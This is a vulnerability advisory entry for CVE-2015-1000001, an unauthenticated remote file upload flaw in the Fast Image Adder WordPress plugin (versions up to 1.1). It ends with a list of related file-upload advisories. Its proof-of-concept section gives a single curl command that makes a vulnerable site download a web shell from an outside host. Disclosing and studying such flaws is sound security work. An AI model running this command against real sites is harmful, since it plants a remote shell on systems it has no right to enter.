Fast Image Adder <= 1.1 – Unauthenticated Remote File Upload | CVE 2015-1000001

Description

The fast-image-adder WordPress plugin was affected by an Unauthenticated Remote File Upload security vulnerability.

Proof of Concept

$ curl http://www.example.com/wp-content/plugins/fast-image-adder/fast-image-adder-uploader.php?confirm=url&url=http://sitewithshellstodl/shell.php

Shell location is reported back to the user with random filename.

Affects Plugins

fast-image-adder

No known fix

References

CVE

CVE-2015-1000001

URL

https://packetstormsecurity.com/files/#132958/

Miscellaneous

Submitter

Larry W. Cashdollar

Submitter twitter

_larry0

Verified

WPVDB ID

0602ede9-4f76-4d2c-9d3f-4b3b04fbab0a

Timeline

Publicly Published

2015-07-10 (about 10 years ago)

Added

2015-07-11 (about 10 years ago)

Last Updated

2020-09-22 (about 5 years ago)

Other

Published

Title

Published

2018-12-24

Title

Baggage Freight Shipping Australia 0.1.0 - Unauthenticated Arbitrary File Upload

Published

2025-08-19

Title

Compress Then Upload < 1.0.5 - Admin+ Arbitrary File Upload

Published

2012-06-05

Title

Member Private Conversation < 1.4 - Unrestricted File Upload

Published

2025-06-27

Title

File Manager Plugin For Wordpress <= 7.5 - Authenticated (Admin+) Arbitrary File Upload

Published

2024-07-03

Title

IMGspider < 2.3.11 - Authenticated (Contributor+) Arbitrary File Upload via 'upload'